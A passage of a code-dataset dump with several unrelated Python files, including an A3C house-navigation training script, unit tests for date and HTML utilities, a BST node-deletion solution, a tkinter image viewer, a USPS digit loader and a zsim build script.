model)\n    rfe = RFE(RandomForestRegressor(random_state=0, n_estimators=10000, max_depth=6))\n    rfe.fit(x, y)\n    # # # Test the model\n    scored = rfe.score(x, y)\n    # res = rfe.predict([x[15]])\n    # # # save the trained model\n    file_name = file_directory + str(metric) + '.joblib'\n\n    # creates directory of trained files if doesn't exist\n    if path.exists(file_directory):\n        pass\n    else:\n        mkdir(file_directory)\n\n    with open(file_name, 'wb') as file:\n        joblib.dump(rfe, file)\n\n    return scored\n\n\ndef train_models():\n    \"\"\"\n    this method is going to train the model based on interval data and\n     write down on file if it's not already exist\n     \"\"\"\n\n    for metric in config.metrics:\n        file_name = file_directory + str(metric) + '.joblib'\n        if path.exists(file_name):\n            print(f'Model for {metric} is already trained\\n We are about to optimize data adding')\n        else:\n            try:\n                score = model_trainer_rfe(metric)\n                print(f'Model Trained successfully for {metric} the score: {score}')\n            except Exception as e:\n                print(e)\n                print(f'Model {metric} did not train, check the error')\n\n\n# print(train_models())\n\n\n","repo_name":"Maziar110/nostratheus","sub_path":"book_of_future.py","file_name":"book_of_future.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"41026917548","text":"import pytest\nfrom freezegun import freeze_time\n\nfrom inspirehep.mailing.utils import humanize_date_to_natural_time, strip_html_tags\n\n\n@freeze_time(\"2019-02-15\")\n@pytest.mark.parametrize(\n    \"test_value,expected\",\n    [\n        (\"2019-02-10\", \"5 days ago\"),\n        (\"2019-02-05T00:00:00+00:00\", \"10 days ago\"),\n        (\"2019-02-05T:00+00:00\", \"\"),\n        (None, \"\"),\n        (\"\", \"\"),\n        (\"INVALID_DATE\", \"\"),\n    ],\n)\ndef test_humanize_date(test_value, expected):\n    result_value = humanize_date_to_natural_time(test_value)\n    assert expected == result_value\n\n\ndef test_strip_html_tags_empty_string():\n    html = \"\"\n    expected = \"\"\n    result = strip_html_tags(html)\n\n    assert result == expected\n\n\ndef test_strip_html_tags():\n    html = \"<html><p>Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. <b>Vestibulum</b> tortor quam, feugiat vitae, ultricies eget, tempor sit amet, ante. Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo.</p></html>\"\n    expected = \"Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat vitae, ultricies eget, tempor sit amet, ante. Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo.\"\n    result = strip_html_tags(html)\n\n    assert result == expected\n\n\ndef test_strip_html_tags_removes_html_entities():\n    html = \"This is a text with a blank&nbsp;space\"\n    expected = \"This is a text with a blank space\"\n    result = strip_html_tags(html)\n\n    assert result == expected\n","repo_name":"inspirehep/inspirehep","sub_path":"backend/tests/unit/mailing/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"}
+{"seq_id":"21910725762","text":"from headers import *\nimport common\nimport utils\n\nimport threading\n\nfrom zmq_trainer.zmq_actor_critic import ZMQA3CTrainer\nfrom zmq_trainer.zmq_aux_task import ZMQAuxTaskTrainer\nfrom zmq_trainer.zmq_util import ZMQSimulator, ZMQMaster\nfrom zmq_trainer.zmqsimulator import SimulatorProcess, SimulatorMaster, ensure_proc_terminate\n\nfrom policy.rnn_discrete_actor_critic import DiscreteRNNPolicy\n\nimport os, sys, time, pickle, json, argparse\nimport numpy as np\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\ndef create_curriculum_schedule(curriculum):\n    if curriculum is None: return None\n    try:\n        val = tuple(map(int, curriculum.split(',')))\n    except Exception as e:\n        print('[Curriculum-Schedule Parser] Invalid Curriculum Input Format! Please input 3 comman-seperated integers!')\n        return None\n    if (len(val) != 3) or (min(val) < 1):\n        print('[Curriculum-Schedule Parser] Invalid Curriculum Input Format! Please input 3 comman-seperated integers!')\n        return None\n    return val\n\ndef create_scheduler(type='medium'):\n    if type == 'none':\n        return None\n    if type == 'linear':\n        return utils.LinearSchedule(200000, 1.0, 0.0)\n    if type == 'medium':\n        endpoints = [(0, 0), (2000, 0.1), (7000, 0.25), (40000, 0.5), (200000, 1.0)]\n    elif type == 'high':\n        endpoints = [(0, 0), (3000, 0.1), (15000, 0.25), (80000, 0.5), (500000, 1.0)]\n    elif type == 'low': # low\n        endpoints = [(0, 0), (1000, 0.1), (3000, 0.25), (20000, 0.5), (100000, 1.0)]\n    elif type == 'tiny':  # low\n        endpoints = [(0, 0), (1000, 0.1), (2000, 0.25), (5000, 0.5), (20000, 1.0)]\n    elif type == 'exp':\n        endpoints = [(0, 0), (1000, 0.01), (5000, 0.1), (10000, 0.5), (20000, 0.75), (50000, 0.9), (100000, 0.95), (200000, 1.0)]\n    print('Building PiecewiseScheduler with <endpoints> = {}'.format(endpoints))\n    scheduler = utils.PiecewiseSchedule(endpoints, outside_value=1.0)\n    return scheduler\n\n\ndef create_policy(model_name, args, observation_shape, n_action):\n    assert model_name == 'rnn', 'currently only support rnn policy!'\n    model = DiscreteRNNPolicy(observation_shape, n_action,\n                              conv_hiddens=[64, 64, 128, 128],\n                              kernel_sizes=5, strides=2,\n                              linear_hiddens=[256],\n                              policy_hiddens=[128, 64],\n                              critic_hiddens=[64, 32],\n                              rnn_cell=args['rnn_cell'],\n                              rnn_layers=args['rnn_layers'],\n                              rnn_units=args['rnn_units'],\n                              multi_target=args['multi_target'],\n                              use_target_gating=args['target_gating'],\n                              aux_prediction=(common.n_aux_predictions if args['aux_task'] else None),\n                              no_skip_connect=(args['no_skip_connect'] if 'no_skip_connect' in args else False),\n                              pure_feed_forward=(args['feed_forward'] if 'feed_forward' in args else False),\n                              extra_feature_dim=(len(common.all_target_instructions) if ('mask_feature' in args) and args['mask_feature'] else None)\n                              )\n    if common.use_cuda:\n        if 'train_gpu' in args:\n            model.cuda(device=args['train_gpu'])  # TODO: Actually we only support training on gpu_id=0\n        else:\n            model.cuda()\n    return model\n\n\ndef create_zmq_trainer(algo, model, args):\n    assert model == 'rnn', 'currently only support rnn policy!'\n    observation_shape = common.observation_shape\n    n_action = common.n_discrete_actions\n    if algo == 'a3c':\n        model_gen = lambda: create_policy(model, args, observation_shape, n_action)\n        if ('aux_task' in args) and args['aux_task']:\n            assert False, '<aux_task> is not supported currently!'\n            #trainer = ZMQAuxTaskTrainer('ZMQAuxTaskA3CTrainer', model_gen, observation_shape, [n_action], args)\n        else:\n            trainer = ZMQA3CTrainer('ZMQA3CTrainer', model_gen, observation_shape, [n_action], args)\n    else:\n        assert False, '[ZMQ Trainer] Trainer <{}> is not defined!'.format(algo)\n    return trainer\n\n\ndef create_zmq_config(args):\n    config = dict()\n\n    # task name\n    config['task_name'] = args['task_name']\n    config['false_rate'] = args['false_rate']\n\n    # env param\n    config['n_house'] = args['n_house']\n    config['reward_type'] = args['reward_type']\n    config['reward_silence'] = args['reward_silence']\n    config['hardness'] = args['hardness']\n    config['max_birthplace_steps'] = args['max_birthplace_steps']\n    config['min_birthplace_grids'] = args['min_birthplace_grids']\n    config['curriculum_schedule'] = args['curriculum_schedule']\n    all_gpus = common.get_gpus_for_rendering()\n    assert (len(all_gpus) > 0), 'No GPU found! There must be at least 1 GPU for rendering!'\n    if args['render_gpu'] is not None:\n        gpu_ids = args['render_gpu'].split(',')\n        render_gpus = [all_gpus[int(k)] for k in gpu_ids]\n    elif args['train_gpu'] is not None:\n        k = args['train_gpu']\n        render_gpus = all_gpus[:k] + all_gpus[k+1:]\n    else:\n        if len(all_gpus) == 1:\n            render_gpus = all_gpus\n        else:\n            render_gpus = all_gpus[1:]\n    config['render_devices'] = tuple(render_gpus)\n    config['segment_input'] = args['segment_input']\n    config['depth_input'] = args['depth_input']\n    config['target_mask_input'] = args['target_mask_input']\n    config['max_episode_len'] = args['max_episode_len']\n    config['success_measure'] = args['success_measure']\n    config['multi_target'] = args['multi_target']\n    config['object_target'] = args['object_target']\n    config['fixed_target'] = args['fixed_target']\n    config['aux_task'] = args['aux_task']\n    config['mask_feature_dim'] = len(common.all_target_instructions) if ('mask_feature' in args) and args['mask_feature'] else None\n    config['cache_supervision'] = args['cache_supervision']\n    config['outdoor_target'] = args['outdoor_target']\n    return config\n\n\ndef train(args=None, warmstart=None):\n\n    # Process Observation Shape\n    common.process_observation_shape(model='rnn',\n                                     resolution_level=args['resolution_level'],\n                                     segmentation_input=args['segment_input'],\n                                     depth_input=args['depth_input'],\n                                     target_mask_input=args['target_mask_input'],\n                                     history_frame_len=1)\n\n    args['logger'] = utils.MyLogger(args['log_dir'], True, keep_file_handler=not args['append_file'])\n\n    name = 'ipc://@whatever' + args['job_name']\n    name2 = 'ipc://@whatever' + args['job_name'] + '2'\n    n_proc = args['n_proc']\n    config = create_zmq_config(args)\n    procs = [ZMQSimulator(k, name, name2, config) for k in range(n_proc)]\n    [k.start() for k in procs]\n    ensure_proc_terminate(procs)\n\n    trainer = create_zmq_trainer(args['algo'], model='rnn', args=args)\n    if warmstart is not None:\n        if os.path.exists(warmstart):\n            print('Warmstarting from <{}> ...'.format(warmstart))\n            trainer.load(warmstart)\n        else:\n            save_dir = args['save_dir']\n            print('Warmstarting from save_dir <{}> with version <{}> ...'.format(save_dir, warmstart))\n            trainer.load(save_dir, warmstart)\n\n\n    master = ZMQMaster(name, name2, trainer=trainer, config=args)\n\n    try:\n        # both loops must be running\n        print('Start Iterations ....')\n        send_thread = threading.Thread(target=master.send_loop, daemon=True)\n        send_thread.start()\n        master.recv_loop()\n        print('Done!')\n        trainer.save(args['save_dir'], version='final')\n    except KeyboardInterrupt:\n        trainer.save_all(args['save_dir'], version='interrupt')\n        raise\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\"Reinforcement Learning for 3D House Navigation\")\n    # Special Job Tag\n    parser.add_argument(\"--job-name\", type=str, default='',\n                        help='This is used to indicate the communication tunnel during parallel training.')\n    # Select Task\n    parser.add_argument(\"--task-name\", choices=['roomnav', 'objnav'], default='roomnav')\n    parser.add_argument(\"--false-rate\", type=float, default=0, help='The Rate of Impossible Targets')\n    # Environment\n    parser.add_argument(\"--env-set\", choices=['small', 'train', 'test', 'color'], default='small')\n    parser.add_argument(\"--n-house\", type=int, default=1,\n                        help=\"number of houses to train on. Should be no larger than --n-proc\")\n    parser.add_argument(\"--seed\", type=int, help=\"random seed\")\n    parser.add_argument(\"--hardness\", type=float, help=\"real number from 0 to 1, indicating the hardness of the environment\")\n    parser.add_argument(\"--max-birthplace-steps\", type=int, help=\"int, the maximum steps required from birthplace to target\")\n    parser.add_argument(\"--min-birthplace-grids\", type=int, default=0,\n                        help=\"int, the minimum grid distance of the birthplace towards target. Default 0, namely possible to born with gird_dist=0.\")\n    parser.add_argument(\"--curriculum-schedule\", type=str,\n                        help=\"in format of <a,b,c>, comma seperated 3 ints, the curriculum schedule. a: start birthsteps; b: brithstep increment; c: increment frequency\")\n    parser.add_argument(\"--linear-reward\", action='store_true', default=False,\n                        help=\"[Deprecated] whether to use reward according to distance; o.w. indicator reward\")\n    parser.add_argument(\"--reward-type\", choices=['none', 'linear', 'indicator', 'delta', 'speed', 'new'], default='new',\n                        help=\"Reward shaping type\")\n    parser.add_argument(\"--reward-silence\", type=int, default=0,\n                        help=\"When set, the first <--reward-silence> step of each episode will not have any reward signal except collision penalty\")\n    parser.add_argument(\"--segmentation-input\", choices=['none', 'index', 'color', 'joint'], default='none', dest='segment_input',\n                        help=\"whether to use segmentation mask as input; default=none; <joint>: use both pixel input and color segment input\")\n    parser.add_argument(\"--depth-input\", dest='depth_input', action='store_true',\n                        help=\"whether to include depth information as part of the input signal\")\n    parser.set_defaults(depth_input=False)\n    parser.add_argument(\"--target-mask-input\", dest='target_mask_input', action='store_true',\n                        help=\"whether to include target mask 0/1 signal as part of the input signal\")\n    parser.set_defaults(target_mask_input=False)\n    parser.add_argument(\"--resolution\", choices=['normal', 'low', 'tiny', 'high', 'square', 'square_low'],\n                        dest='resolution_level', default='normal',\n                        help=\"resolution of visual input, default normal=[120 * 90]\")\n    parser.add_argument(\"--max-episode-len\", type=int, default=60, help=\"maximum episode rollout length for training\")\n    parser.add_argument(\"--success-measure\", choices=['stop', 'stay', 'see', 'see-stop'], default='see',\n                        help=\"criteria for a successful episode\")\n    parser.add_argument(\"--multi-target\", dest='multi_target', action='store_true',\n                        help=\"when this flag is set, a random target room type will be selected per episode\")\n    parser.set_defaults(multi_target=False)\n    parser.add_argument(\"--include-object-target\", dest='object_target', action='store_true',\n                        help=\"when this flag is set, target can be also an object. Only effective when --multi-target\")\n    parser.set_defaults(object_target=False)\n    parser.add_argument(\"--include-mask-feature\", dest='mask_feature', action='store_true',\n                        help=\"when this flag is set, 0/1 per-category mask_feature will be fed to the neural network.\")\n    parser.set_defaults(mask_feature=False)\n    parser.add_argument(\"--fixed-target\", type=str, help=\"fixed training targets: candidate values room, object or any-room/object\")\n    parser.add_argument(\"--no-outdoor-target\", dest='outdoor_target', action='store_false',\n                        help=\"when this flag is set, we will exclude <outdoor> target\")\n    parser.set_defaults(outdoor_target=True)\n    # Reward Shaping Parameters\n    parser.add_argument(\"--rew-shape-stay\", type=float, help=\"stay_room_reward\")\n    parser.add_argument(\"--rew-shape-leave\", type=float, help=\"leave_penalty\")\n    parser.add_argument(\"--rew-shape-collision\", type=float, help=\"collision_penalty\")\n    parser.add_argument(\"--rew-shape-wrong-stop\", type=float, help=\"wrong_stop_penalty\")\n    parser.add_argument(\"--rew-shape-time\", type=float, help=\"time_penalty\")\n    ########################################################\n    # ZMQ training parameters for parallel training\n    parser.add_argument(\"--train-gpu\", type=int,\n                        help=\"[ZMQ] an integer indicating the training gpu id\")\n    parser.add_argument(\"--render-gpu\", type=str,\n                        help=\"[ZMQ] an integer or a ','-split list of integers, indicating the gpu-id of renderers\")\n    parser.add_argument(\"--n-proc\", type=int, default=32,\n                        help=\"[ZMQ] number of processes for simulation, all houses will be uniformly assigned over the processes\")\n    parser.add_argument(\"--t-max\", type=int, default=20,\n                        help=\"[ZMQ] number of time steps for backprop in each training batch\")\n    parser.add_argument(\"--batch-size\", type=int, default=32,\n                        help=\"[ZMQ] batch size, should be no greather than --num-proc\")\n    parser.add_argument(\"--grad-batch\", type=int, default=1,\n                        help=\"[ZMQ] the actual gradient descent batch-size will be <grad-batch> * <batch-size>\")\n\n    ###########################################################\n    # Core training parameters\n    parser.add_argument(\"--algo\", choices=['a3c'], default=\"a3c\", help=\"algorithm\")\n    parser.add_argument(\"--supervised-learning\", dest='cache_supervision', action='store_true',\n                        help=\"when set, use Dagger style supervised learning + RL fine-tuning (when close to target)\")\n    parser.set_defaults(cache_supervision=False)\n    parser.add_argument(\"--lrate\", type=float, help=\"learning rate for policy\")\n    parser.add_argument('--weight-decay', type=float, help=\"weight decay for policy\")\n    parser.add_argument(\"--gamma\", type=float, help=\"discount\")\n    parser.add_argument(\"--grad-clip\", type=float, default=5.0, help=\"gradient clipping\")\n    parser.add_argument(\"--adv-norm\", dest='adv_norm', action='store_true',\n                        help=\"perform advantage normalization (per-minibatch, not the full gradient batch)\")\n    parser.set_defaults(adv_norm=False)\n    parser.add_argument(\"--rew-clip\", type=int, help=\"if set [r], clip reward to [-r, r]\")\n    parser.add_argument(\"--max-iters\", type=int, default=int(1e6), help=\"maximum number of training episodes\")\n    parser.add_argument(\"--batch-norm\", action='store_true', dest='use_batch_norm',\n                        help=\"Whether to use batch normalization in the policy network. default=False.\")\n    parser.set_defaults(use_batch_norm=False)\n    parser.add_argument(\"--entropy-penalty\", type=float, help=\"policy entropy regularizer\")\n    parser.add_argument(\"--logits-penalty\", type=float, help=\"policy logits regularizer\")\n    parser.add_argument(\"--optimizer\", choices=['adam', 'rmsprop'], default='adam', help=\"optimizer\")\n    parser.add_argument(\"--exploration-scheduler\", choices=['low', 'medium', 'high', 'none', 'linear', 'exp'],\n                        dest='scheduler', default='none',\n                        help=\"Whether to use eps-greedy scheduler to execute exploration. Default none\")\n    parser.add_argument(\"--use-target-gating\", dest='target_gating', action='store_true',\n                        help=\"[only affect when --multi-target] whether to use target instruction gating structure in the model\")\n    parser.set_defaults(target_gating=False)\n\n    ####################################################\n    # RNN Parameters\n    parser.add_argument(\"--rnn-units\", type=int, default=256,\n                        help=\"[RNN-Only] number of units in an RNN cell\")\n    parser.add_argument(\"--rnn-layers\", type=int, default=1,\n                        help=\"[RNN-Only] number of layers in RNN\")\n    parser.add_argument(\"--rnn-cell\", choices=['lstm', 'gru'], default='lstm',\n                        help=\"[RNN-Only] RNN cell type\")\n\n    ####################################################\n    # Aux Tasks and Additional Sampling Choice\n    parser.add_argument(\"--q-loss-coef\", type=float,\n                        help=\"For joint model, the coefficient for q_loss\")\n    parser.add_argument(\"--auxiliary-task\", dest='aux_task', action='store_true',\n                        help=\"Whether to perform auxiliary task of predicting room types\")\n    parser.set_defaults(aux_task=False)\n    parser.add_argument(\"--use-reinforce-loss\", dest='reinforce_loss', action='store_true',\n                        help=\"When true, use reinforce loss to train the auxiliary task loss\")\n    parser.set_defaults(reinforce_loss=False)\n    parser.add_argument(\"--aux-loss-coef\", dest='aux_loss_coef', type=float, default=1.0,\n                        help=\"Coefficient for the Auxiliary Task Loss. Only effect when --auxiliary-task\")\n\n    ####################################################\n    # Ablation Test Options\n    parser.add_argument(\"--no-skip-connect\", dest='no_skip_connect', action='store_true',\n                        help=\"[A3C-LSTM Only] no skip connect. only takes the output of rnn to compute action\")\n    parser.set_defaults(no_skip_connect=False)\n    parser.add_argument(\"--feed-forward-a3c\", dest='feed_forward', action='store_true',\n                        help=\"[A3C-LSTM Only] skip rnn completely. essentially cnn-a3c\")\n    parser.set_defaults(feed_forward=False)\n\n    ###################################################\n    # Checkpointing\n    parser.add_argument(\"--save-dir\", type=str, default=\"./_model_\", help=\"directory in which training state and model should be saved\")\n    parser.add_argument(\"--log-dir\", type=str, default=\"./log\", help=\"directory in which logs training stats\")\n    parser.add_argument(\"--save-rate\", type=int, default=1000, help=\"save model once every time this many training iters are completed\")\n    parser.add_argument(\"--report-rate\", type=int, default=10,\n                        help=\"report training stats once every time this many training steps are performed\")\n    parser.add_argument(\"--eval-rate\", type=int, default=1000,\n                        help=\"report evaluation stats once every time this many *FRAMES* produced\")\n    parser.add_argument(\"--warmstart\", type=str, help=\"model to recover from. can be either a directory or a file.\")\n\n    ###################################################\n    # Logging Option\n    parser.add_argument(\"--append-file-handler\", dest='append_file', action='store_true',\n                        help=\"[Logging] When set, the logger will be close when a log message is output and reopen in the next time.\")\n    parser.set_defaults(append_file=False)\n    parser.add_argument(\"--only-fetch-model-dict\", dest='only_fetch_model_dict', action='store_true',\n                        help=\"[Logging] When set, train() will not be performed.\")\n    parser.set_defaults(only_fetch_model_dict=False)\n    return parser.parse_args()\n\nif __name__ == '__main__':\n    cmd_args = parse_args()\n\n    common.set_house_IDs(cmd_args.env_set, ensure_kitchen=(not cmd_args.multi_target))\n    print('>> Environment Set = <%s>, Total %d Houses!' % (cmd_args.env_set, len(common.all_houseIDs)))\n\n    common.ensure_object_targets(cmd_args.object_target)\n\n    if cmd_args.fixed_target is not None:\n        allowed_targets = list(common.target_instruction_dict.keys()) + ['any-room']\n        if cmd_args.object_target:\n            allowed_targets.append('any-object')\n        assert cmd_args.fixed_target in allowed_targets, '--fixed-target specified an invalid target <{}>!'.format(cmd_args.fixed_target)\n        if not ('any' in cmd_args.fixed_target):\n            common.filter_house_IDs_by_target(cmd_args.fixed_target)\n            print('[ZMQ_Train.py] Filter Houses By Fixed-Target <{}> to N=<{}> Houses...'.format(cmd_args.fixed_target, len(common.all_houseIDs)))\n\n    if cmd_args.n_house > len(common.all_houseIDs):\n        print('[ZMQ_Train.py] No enough houses! Reduce <n_house> to [{}].'.format(len(common.all_houseIDs)))\n        cmd_args.n_house = len(common.all_houseIDs)\n\n    if cmd_args.seed is not None:\n        np.random.seed(cmd_args.seed)\n        random.seed(cmd_args.seed)\n        torch.manual_seed(cmd_args.seed)  #optional\n\n    if not os.path.exists(cmd_args.save_dir):\n        print('Directory <{}> does not exist! Creating directory ...'.format(cmd_args.save_dir))\n        os.makedirs(cmd_args.save_dir)\n\n    if cmd_args.linear_reward:\n        print('--linearReward option is now *Deprecated*!!! Use --reward-type option instead! Now force <reward_type == \\'linear\\'>')\n        cmd_args.reward_type = 'linear'\n\n    if cmd_args.grad_batch < 1:\n        print('--grad-batch option must be a positive integer! reset to default value <1>!')\n        cmd_args.grad_batch = 1\n\n    args = cmd_args.__dict__\n\n    if any([args[k] is not None for k in args.keys() if 'rew_shape' in k]):\n        common.set_reward_shaping_params(args)\n\n    args['model_name'] = 'rnn'\n    args['scheduler'] = create_scheduler(cmd_args.scheduler)\n    args['curriculum_schedule'] = create_curriculum_schedule(cmd_args.curriculum_schedule)\n\n    # store training args\n    config_file = args['save_dir']\n    if config_file[-1] != '/': config_file = config_file + '/'\n    config_file = config_file + 'train_args.json'\n    with open(config_file, 'w') as f:\n        json.dump(args, f)\n\n    if not cmd_args.only_fetch_model_dict:\n        train(args, warmstart=cmd_args.warmstart)\n","repo_name":"jxwuyi/HouseNavAgent","sub_path":"zmq_train.py","file_name":"zmq_train.py","file_ext":"py","file_size_in_byte":22203,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"3"}
+{"seq_id":"12572759457","text":"#https://leetcode.com/problems/delete-node-in-a-bst/\n''' Given the root of a BST and a key, delete the node corresponding to the key and return the new root of the tree.\n\nInp: key = 3\n    5\n   / \\\n  3   6\n / \\   \\\n2   4   7\n\nOut:\nOne valid answer is [5,4,6,2,null,null,7]\n\n    5\n   / \\\n  4   6\n /     \\\n2       7\n\nAnother valid answer is [5,2,6,null,4,null,7].\n    5\n   / \\\n  2   6\n   \\   \\\n    4   7\n'''\n# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\nclass Solution(object):\n    def smallestNode(self, root):\n        ''' Returns the smallestNode (i.e leftmost) node present in root's subtree'''\n        while root.left:\n            root = root.left\n        return root\n\n    def deleteNode(self, root, key):\n        if not root:    return root\n        # If key < root, then recurse for node deletion on root's left. Update root's left if required\n        if root.val > key:\n            root.left = self.deleteNode(root.left, key)\n        # If key > root, then recurse for node deletion on root's right. Update root's right if required\n        elif root.val < key:\n            root.right = self.deleteNode(root.right, key)\n        else: # This is the node to be deleted\n            if not root.left: #If there's no left, return the right child. (this also covers the case where root is a leaf)\n                return root.right\n            if not root.right: #Similarly, if there's no right child, return left child\n                return root.left\n\n            '''OPTIONAL: If root's left child does not contain a right child, then we just replace root with root.left. \n            root.left < root < root.right => root.left < root.right (Hence attaching root.left as root does not violate any BST properties)\n            While this might be faster in certain use cases, it's best to avoid this method since it can cause the tree to become unbalanced. Deleting with inorder sucessor usually doesn't alter the balance/shape of the tree too much.\n            '''\n            if not root.left.right:\n                root.val = root.left.val # Clone root.left's value into root \n                root.left = root.left.left # Connect root to root.left.left thereby deleting root.left\n                return root\n\n            # If both children are available, find the inorder successor (i.e smallest node of right child's subtree)\n            delNode = self.smallestNode(root.right) \n            root.val = delNode.val # Swap the value of the inorder successor with root\n            root.right = self.deleteNode(root.right, delNode.val) # Go on and delete the inorder successor node from its position in the right subtree\n        return root\n\n    def deleteGivenNode(self, root):\n        if not root: #If there's nothing to delete (case where key is not found in tree)\n            return root\n        if not root.left: # If there's no left child, we can just return make the right child as the root\n            return root.right\n        if not root.right: #Similarly, if there's no right child, we can just attach the left child as the root\n            return root.left\n\n        delNode = self.smallestNode(root.right) #Find the inorder successor\n        if delNode == root.right: #If inorder successor is the root's right, then just swap the root with root.right (i.e set root.right's left to root.left)\n            root.right.left = root.left\n            return root.right\n\n        prev, curr = None, root.right\n        while curr!=delNode:\n            prev = curr\n            curr = curr.left\n        curr.left, prev.left = root.left, curr.right #Set the curr node as the new root. Hence set curr.left as root.left. Also set prev.left as curr.right\n        curr.right = root.right #Finally set curr.right as root.right\n        return curr\n\n    def deleteNodeImproved(self, root, key):\n        ''' We perform an improved solution of the above solution.\n        Firstly, we have converted the recursive solution of above into a fully iterative solution.\n\n        In the above solution, we find the inorder successor of the node to be deleted. We then swap the data of the inorder successor with the root node, and then delete the inorder successor.\n        While this method is good for small payloads (such as only an int), it's a slow process for larger payloads.\n        '''\n        if not root:    return root\n        originalRoot, prev = root, None\n\n        while root and root.val!=key: #We find the node to delete\n            if root.val < key:\n                prev = root\n                root = root.right\n            elif root.val > key:\n                prev = root\n                root = root.left\n\n        if not prev: #if previous was none, it means we have to delete the root of the entire tree\n            return self.deleteGivenNode(root)\n        elif prev.left == root: #Else, if we have to delete the left child of the parent (i.e prev), we update the left child after deletion\n            prev.left = self.deleteGivenNode(root)\n        else:\n            prev.right = self.deleteGivenNode(root)\n        return originalRoot\n","repo_name":"humachine/AlgoLearning","sub_path":"leetcode/Done/450_DeleteNodeBST.py","file_name":"450_DeleteNodeBST.py","file_ext":"py","file_size_in_byte":5158,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"39044282806","text":"from tkinter import*\r\nfrom tkinter.filedialog import*\r\n\r\ndef func_open():\r\n  fileName=askopenfilename(parent=window,filetypes=((\"Gif file\",\"*gif\"),(\"All file\",\"*.*\")))\r\n  photo=PhotoImage(file=fileName)\r\n  plable.configure(image=photo); plable.image=photo\r\n\r\ndef fuct_exit():\r\n  window.quit()\r\n  window.destroy()\r\n\r\nwindow=Tk(); window.geometry('800x500')\r\nwindow.title(\"Python File manager\")\r\n\r\nphoto=PhotoImage()\r\nplable=Label(window,image=photo)\r\nplable.pack(expand=1,anchor=CENTER)\r\n\r\nmainMenu=Menu(window)\r\nwindow.config(menu=mainMenu)\r\nfileMenu=Menu(mainMenu)\r\nmainMenu.add_cascade(label=\"File\",menu=fileMenu)\r\nfileMenu.add_command(label=\"Open File\",command=func_open)\r\nfileMenu.add_separator()\r\nfileMenu.add_command(label=\"Exit Program\",command=fuct_exit)\r\n\r\nwindow.mainloop()","repo_name":"BekCodingAddict/Python-Programming","sub_path":"Python_Programming_Examples/Python_Programming_Begginer_Concepts_2021.02/Chapter10_FIle_manager_Test1.py","file_name":"Chapter10_FIle_manager_Test1.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7131970835","text":"import numpy as np\nimport random as ran\nimport tensorflow as tf\nimport cv2\nimport os\nimport pandas as pd\nfrom IPython.display import Image\n\n'''\nIn this code, I try to retrieve USPS data from a directory structure\nwhere name of the directort is the label for the files in that directory\n'''\n\npath = './images/Numerals/'\n\n# Initialize 2 lists for labels and images\nimlist = []\nlblist = []\ndirs = list(os.walk(path))[0]\ndirs = dirs[1]\nfor d in dirs:\n    #print(d)\n    for files in d:\n        directory = os.path.join(path,files)\n        #print(directory)\n        for fname in os.listdir(directory):\n            if(fname.endswith(\".png\")):    \n                image = cv2.imread(os.path.join(path,d,fname))\n                im_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n                im_resize = cv2.resize(im_gray, (28, 28))\n                imlist.append(255-np.ravel(im_resize))\n                lblist.append(int(d))\n\n# Normalize the values in the image\nimages = np.array(imlist)/255.\nlabels = np.reshape(np.array(lblist),[-1,1]).flatten()\n# Get one-hot representation\nlabels = np.array(pd.get_dummies(labels))\n\n# Set a random seed to get reproducible results\nnp.random.seed(42)\n\n# Randomize the input data\nids = list(range(0,len(labels)))\nnp.random.shuffle(ids)\nimages_shuf = images[ids]\nlabels_shuf = labels[ids]","repo_name":"arun279/MNIST_Classification","sub_path":"usps_data.py","file_name":"usps_data.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9905339153","text":"# -*- mode:python -*-\n\nimport os\n\nImport(\"env\")\n\ncommon_sources = [\"config.cpp\", \"galloc.cpp\", \"log.cpp\", \"pin_cmd.cpp\"]\nharness_sources = [\"zsim_harness.cpp\", \"debug_harness.cpp\"] + common_sources\n\nlib_sources = [\"zsim.cpp\", \"init.cpp\", \"debug_zsim.cpp\", \"hash.cpp\", \"text_stats.cpp\", \"hdf5_stats.cpp\",\n               \"decoder.cpp\", \"scheduler.cpp\", \"process_tree.cpp\", \"syscall_funcs.cpp\",\n               \"tracing_core.cpp\", \"tracing_driver.cpp\", \"main_memory.cpp\", \"cache.cpp\"] + common_sources\n\nlibEnv = env.Clone()\nlibEnv[\"CPPFLAGS\"] += libEnv[\"PINCPPFLAGS\"]\nlibEnv[\"LINKFLAGS\"] += libEnv[\"PINLINKFLAGS\"]\nlibEnv[\"LIBPATH\"] += libEnv[\"PINLIBPATH\"]\nlibEnv[\"LIBS\"] += libEnv[\"PINLIBS\"]\nlibEnv.SharedLibrary(\"zsim.so\", lib_sources)\n\n# Compile statically to make it easier to run across environaments\nenv[\"LINKFLAGS\"] += \" --static \"\nenv[\"LIBS\"] += [\"pthread\"]\nenv.Program(\"zsim\", harness_sources)\n\nenv.Program(\"fftoggle\", [\"fftoggle.cpp\"] + common_sources)\n","repo_name":"ammubhave/6.823-lab","sub_path":"lab4handout/zsim/src/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"}
